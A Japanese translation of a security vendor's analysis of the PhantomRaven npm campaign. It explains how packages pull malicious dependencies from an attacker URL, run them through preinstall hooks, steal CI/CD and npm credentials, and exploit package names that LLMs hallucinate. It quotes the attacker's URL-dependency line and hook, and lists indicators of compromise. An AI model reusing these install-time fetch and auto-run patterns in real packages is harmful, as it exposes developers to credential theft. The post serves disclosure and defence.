PhantomRaven:見えない依存関係に隠されたNPMマルウェア

悪意のあるnpmパッケージ126個。ダウンロード数は86,000回超。世界中の開発者からnpmトークン、GitHub認証情報、CI/CDシークレットを積極的に窃取——しかも、多くのセキュリティツールが依存する依存関係分析から見えない「隠れた依存関係」に悪性コードを潜ませたまま。

私たちはこのキャンペーンをPhantomRavenと呼んでいます。

発見

私たちのリスクエンジン「Wings」は、2025年10月に奇妙な挙動を検知しました。インストール中に外部ネットワークへリクエストを送るパッケージがあり、しかもすべて同じ不審なドメイン宛てだったのです。

調査を進めると、8月から稼働していたキャンペーンが見つかりました。規模は驚くべきもので、合計インストール数86,000超の126パッケージ。さらにそのうち80個はまだ活動中で、世界中の開発者から静かに認証情報を収集していました。規模もさることながら、私たちの注意を最も引いたのは、彼らがそれをどうやって実現していたかです。これらのパッケージは、エコシステム内の多くのセキュリティツールから悪性コードを隠す方法を見つけていました。

タイムライン:

  • 2025年8月:キャンペーン開始、最初のパッケージが公開
  • 2025年8月:最初の21パッケージがnpmにより検知・削除
  • 2025年9〜10月:追加で80パッケージがアップロードされ、検知を回避
  • 2025年10月:Koi Securityの行動監視によりキャンペーンを発見

これほど高度な手法にしては、攻撃者のインフラは驚くほど杜撰でした。無料プロバイダの連番メールアカウント——jpdtester01@hotmail[.]com、jpdtester02@outlook[.]com、そしてjpdtester13@gmail[.]comまで。npmhellnpmpackagejpdのようなユーザー名。明らかに同一人物が管理していました。

しかし、配布メカニズムは? そこが巧妙でした。

Image

悪意のあるパッケージの1つに関するKoidexレポート

なぜ隠れ続けたのか:Remote Dynamic Dependencies(RDD)

npm上でこれらの悪意あるパッケージの1つを開き、ソースコードを確認してみてください。次のようなものが見つかるはずです:

#!/usr/bin/env node‍
console.log('Hello, world!');

以上です。完全に無害。単純なHello Worldスクリプト。

では悪性コードはどこに? レビューしているそのパッケージの中にはありません。インストール時に取得される、目に見えない依存関係の中にあります。

多くのnpm依存関係は次のようになっています:

"dependencies": {
"express": "^4.18.0"}

しかしnpmは、ほとんどの開発者が使わない機能もサポートしています——依存関係指定子としてのHTTP URLです:

"dependencies": {
"ui-styles-pkg": "http://packages.storeartifact.com/npm/unused-imports"}

この種の依存関係を持つパッケージをインストールすると、npmはその外部URLから依存パッケージを取得します。npmjs.comからではありません。攻撃者が望む任意の場所からです。

そしてnpmjs.comはそれらのURLを辿りません。セキュリティスキャナも取得しません。依存関係分析ツールは無視します。あらゆる自動セキュリティシステムにとって、これらのパッケージは「依存関係0」と表示されます。

Image

npmのUIでは依存関係が0と表示される

npmでレビューしているパッケージは? クリーン。空。安全。

悪性コードは? packages.storeartifact.com上に置かれ、インストール時に取得されるのを待っています。

さらに悪いことに:ダウンロードされる内容を相手が制御できる

誰かがnpm installを実行するたびに、その依存関係は攻撃者のサーバから毎回新しく取得されます。キャッシュされない。バージョン管理されない。ロックされない。常に最新。

攻撃者はそのサーバを制御しています。誰がインストールしているかに応じて、配布するコードを変えることも可能です。

これにより高度な標的化が可能になります。理論上は、各リクエストのIPアドレスを確認して異なるペイロードを返せます。VPN上のセキュリティ研究者には無害なコード、企業ネットワークには悪性コード、クラウド環境向けには特化ペイロード。あるいは長期戦——数週間はクリーンなコードを返して信頼を築き、セキュリティスキャンも通過してから、スイッチを切り替えて悪性バージョンの配布を開始することもできます。

自動実行という問題

しかし、依存関係に悪性コードがあるだけでは不十分——実行される必要があります。そしてnpmはそれを自動化しています。

npm installを実行すると、npmはパッケージをダウンロードするだけではありません。コードを実行します。具体的には、package.jsonで定義されたライフサイクルスクリプト——preinstall、install、postinstallフックを実行します。

RDD経由で取得される悪性パッケージには次が含まれています:

"scripts": {
"preinstall": "node index.js"}

このpreinstallスクリプトは自動で実行されます。プロンプトなし。警告なし。ユーザー操作不要。

そして、このパッケージが依存関係ツリーのどれだけ深い場所にあっても関係ありません。あるパッケージをインストールし、そのパッケージが別のパッケージに依存し、さらにその先が悪性preinstallスクリプトを持つパッケージに依存していたら? そのコードはあなたのマシン上で自動的に実行されます。

攻撃チェーン全体:

  1. 開発者が、npmからクリーンに見えるパッケージをインストールする
  2. npmが攻撃者サーバから見えないRDDを取得する
  3. 悪性パッケージがpreinstallスクリプト付きで到着する
  4. インストール完了前に、npmがnode index.jsを自動実行する
  5. マルウェアが活動を開始する

これらすべては、npm installが完了するまでの数秒の間に起こります。

PhantomRavenは実際に何をするのか

RDD手法でインストールされると、PhantomRavenは活動を開始します。そして狙いは明確です——あなたの認証情報、環境、あらゆるもの。

あらゆる場所でメールアドレスを探す

まず、あなたが誰かを知る必要があります。マルウェアは開発環境全体からメールアドレスを体系的に探索します:

Image

環境変数、.gitconfig、.npmrc、さらにはpackage.jsonのauthorフィールドまで。メールが隠れ得るあらゆる場所をチェックします。

うっとうしい? もちろん。ですが、メール収集だけなら、それ自体はそこまで恐ろしくはありません。

次に——CI/CD環境全体

彼らはインフラのすべてを把握したがっています:

Image

GitHub Actionsトークン——リポジトリとワークフローへの直接アクセス。GitLab CI認証情報——プロジェクトアクセスとパイプライン制御。Jenkins認証情報——ビルドサーバへのアクセスとデプロイ能力。CircleCIトークン——プロジェクトビルドとデプロイキー。npm認証トークン——あなたが保守する任意のパッケージに悪性アップデートを公開できる能力。

そして——完全なシステム指紋採取

マルウェアは認証情報だけで止まりません。開発環境の完全なプロファイルを構築します:

Image

公開IP(外部サービスから取得)、ホスト名、OS詳細、ローカルIP、ユーザー名、カレントディレクトリ、Node.jsバージョン——侵害したシステムの種類と価値を理解するためのあらゆる情報です。

企業ネットワーク? 高価値ターゲット。クラウドCI/CDパイプライン? 大当たり。開発者のノートPC? すべてへの入口。

最後に——データを確実に外へ出す

流出(エクスフィルトレーション)は、偏執的と言えるほど冗長です:

Image

まず、すべてのデータをURLにエンコードしたHTTP GETリクエスト。次に、同じデータをJSONとして送るHTTP POSTリクエスト。両方失敗したら? バックアップサーバへのWebSocket接続。

強力なファイアウォールがある制限ネットワーク環境でも、彼らはデータを外へ持ち出しています。

Slopsquatting:AI支援のパッケージ名攻撃

PhantomRavenのパッケージ名は、ランダムなタイプミス狙い(typosquat)ではありません。新しい脆弱性——LLMの幻覚(ハルシネーション)を悪用するために慎重に選ばれています。

開発者がGitHub CopilotやChatGPTのようなAIアシスタントにパッケージ推薦を求めると、モデルが実在しないのにもっともらしいパッケージ名を提案してしまうことがあります。PhantomRavenは、その「存在しない」パッケージを作成しました。

この攻撃ベクトル——AIの幻覚を悪用して悪性パッケージを登録する手法——を、私たちはslopsquattingと呼んでいます。

例:

  • eslint-comments → 正規パッケージ:eslint-plugin-eslint-comments
  • transform-react-remove-prop-types → 正規パッケージ:babel-plugin-transform-react-remove-prop-types
  • unused-imports → 正規パッケージ:eslint-plugin-unused-imports

これらの名前は:

  • AIが提案しそうなほど正規パッケージに近い
  • 既存パッケージを直接typosquatするほどは似ていない
  • 開発者が即座に疑わない程度にもっともらしい

AIアシスタントは「eslint-plugin-unused-imports」のより簡単な代替として「unused-imports」を提案するかもしれません。開発者はAIの推薦を信じ、深く考えずにインストールしてしまいます。

そしてこれは机上の話ではありません。すでに、依存関係としてPhantomRavenマルウェアを含むパッケージが野生で見つかっています——AIの推薦に基づいてこれらのパッケージをインストールし、自分のシステムを侵害していることに気づいていない被害者がいるのです。

最後に

本調査は、オープンソースエコシステムのセキュリティに対する好奇心と懸念の両方を原動力として、Koi Securityのチームによって実施されました。

PhantomRavenは、従来のセキュリティツールの盲点を突く攻撃者がいかに高度化しているかを示しています。Remote Dynamic Dependenciesは静的解析から見えません。AIの幻覚は、開発者が信頼してしまうもっともらしいパッケージ名を生みます。そしてライフサイクルスクリプトは、ユーザー操作なしに自動実行されます。

これらは理論上の脆弱性ではありません——今この瞬間も、何千人もの開発者に影響を与えている能動的な悪用手法です。

私たちは、まさにこの問題に対処するためにKoiを構築しました。私たちのリスクエンジンは、パッケージが名乗るものを分析するだけではありません——実際に実行し、何をするかを監視します。インストール中のネットワークリクエスト。ファイルシステムアクセスのパターン。静的解析では捉えられない異常行動。

Fortune 50企業や世界最大級のテック企業に信頼されているKoiは、npm、PyPI、VS Code拡張、Chrome拡張など、パッケージエコシステム全体にわたるリアルタイムのリスクスコアリングとガバナンスを提供します。

従来のセキュリティツールをすり抜ける攻撃を、私たちのリスクエンジンがどう検知するかを確認するには、デモを予約してください。

どのセキュリティスキャンにも表示されない依存関係にマルウェアが隠れられるなら、パッケージが「何だと言っているか」ではなく「何をするか」を監視するツールが必要です。

どうか安全に。

IOCs

悪性インフラ:

  • packages.storeartifact.com
  • 54.173.15.59
  • 流出エンドポイント:jpd.php

侵害されたパッケージ:

fq-ui, mocha-no-only, ft-flow, ul-inline, jest-hoist, jfrog-npm-actions-example, @acme-types/acme-package, react-web-api, mourner, unused-imports, jira-ticket-todo-comment, polyfill-corejs3, polyfill-regenerator, @aio-commerce-sdk/config-tsdown, @aio-commerce-sdk/config-typedoc, @aio-commerce-sdk/config-typescript, @aio-commerce-sdk/config-vitest, powerbi-visuals-sunburst, @gitlab-lsp/pkg-1, @gitlab-lsp/pkg-2, @gitlab-lsp/workflow-api, @gitlab-test/bun-v1, @gitlab-test/npm-v10, @gitlab-test/pnpm-v9, @gitlab-test/yarn-v4, acme-package, add-module-exports, add-shopify-header, jsx-a11y, prefer-object-spread, preferred-import, durablefunctionsmonitor, durablefunctionsmonitor-vscodeext, durablefunctionsmonitor.react, e-voting-libraries-ui-kit, named-asset-import, chai-friendly, aikido-module, airbnb-babel, airbnb-base-hf, airbnb-base-typescript-prettier, airbnb-bev, airbnb-calendar, airbnb-opentracing-javascript, airbnb-scraper, airbnb-types, ais-sn-components, goji-js-org, google-cloud-functions-framework, chromestatus-openapi, elemefe, labelbox-custom-ui, rxjs-angular, @apache-felix/felix-antora-ui, @apache-netbeans/netbeans-antora-ui, syntax-dynamic-import, no-floating-promise, no-only-tests, @i22-td-smarthome/component-library, vuejs-accessibility, lfs-ui, react-async-component-lifecycle-hooks, eslint-comments, wdr-beam, lion-based-ui, lion-based-ui-labs, eslint-disable-next-line, eslint-github-bot, eslint-plugin-cli-microsoft365, eslint-plugin-custom-eslint-rules, @item-shop-data/client, @msdyn365-commerce-marketplace/address-extensions, @msdyn365-commerce-marketplace/tax-registration-numbers, artifactregistry-login, crowdstrike, wm-tests-helper, external-helpers, react-important-stuff, audio-game, faltest, only-warn, op-cli-installer, react-naming-convention, skyscanner-with-prettier, xo-form-components, xo-login-components, xo-page-components, xo-shipping-change, xo-shipping-options, xo-title, xo-tracking, xo-validation, badgekit-api-client, important-stuff, transform-es2015-modules-commonjs, transform-merge-sibling-variables, transform-react-constant-elements, transform-react-jsx-source, transform-react-remove-prop-types, transform-strict-mode, trezor-rollout, filename-rules, ing-web-es, inline-react-svg, ts-important-stuff, firefly-sdk-js, firefly-shared-js, zeus-me-ops-tool, zeus-mex-user-profile, ts-migrate-example, ts-react-important-stuff, zohocrm-nodejs-sdk-3.0, iot-cardboard-js, pensions-portals-fe, sort-class-members, sort-keys-fix, sort-keys-plus, flowtype-errors, twilio-react, twilio-ts, bernie-core, bernie-plugin-l10n, spaintest1, typescript-compat, typescript-sort-keys, uach-retrofill

攻撃者インフラ:

無料メールプロバイダにまたがる連番メールパターン:

翻訳元: https://www.koi.ai/blog/phantomraven-npm-malware-hidden-in-invisible-dependencies

ソース: koi.ai